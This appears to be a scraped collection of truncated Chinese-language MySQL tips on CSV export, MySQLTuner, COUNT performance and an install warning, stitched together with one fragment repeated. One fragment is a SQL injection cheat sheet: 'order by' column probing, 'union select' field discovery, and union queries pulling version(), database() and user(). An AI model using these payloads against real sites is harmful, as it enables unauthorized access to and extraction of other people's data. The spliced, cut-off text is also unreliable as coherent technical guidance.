方案有很多種,我這裡簡單說一下:1. into outfile複製代碼 代碼如下:SELECT * FROM mytable INTO OUTFILE '/tmp/mytable.csv' FIELDS TERMINATED BY ',' OPTIONALLY ENCLOSED BY '"' LINES TERMINATED BY '\n'; 在我使用過程中發現一個特別嚴重問題,
MySQLTuner 下載地址:http://github.com/rackerhacker/MySQLTuner-perlMySQLTuner 使用方法: Downloading and using MySQLTuner is actually a very simple process:wget mysqltuner.pl perl mysqltuner.pl If you'd rather not invoke perl every time, just make it
一般採用二級索引去count:比如:id 是pk aid是secondary index採用複製代碼 代碼如下:select count(*) from table where id >=0;或select count(*) from table;效果是一樣的,都是預設使用pk索引,且都要全表掃描,雖然第一種效能可能高一些,但是沒有明顯區別。但是如果用secondary index複製代碼 代碼如下:select count(*) from table where
安裝MySQL時,有warning:[root@localhost mysql]# scripts/mysql_install_db --user=mysqlInstalling MySQL system tables...2015-08-13 14:20:09 0 [Warning] TIMESTAMP with implicit DEFAULT value is deprecated. Please use --explicit_defaults_for_timestamp server
暴欄位長度Order by num/*匹配欄位and 1=1 union select 1,2,3,4,5…….n/*暴欄位位置and 1=2 union select 1,2,3,4,5…..n/*利用內建函數暴資料庫資訊version() database() user() 不用猜解可用欄位暴資料庫資訊(有些網站不適用):and 1=2 union all select version() /*and 1=2 union all select database() /*
安裝MySQL時,有warning:[root@localhost mysql]# scripts/mysql_install_db --user=mysqlInstalling MySQL system tables...2015-08-13 14:20:09 0 [Warning] TIMESTAMP with implicit DEFAULT value is deprecated. Please use --explicit_defaults_for_timestamp server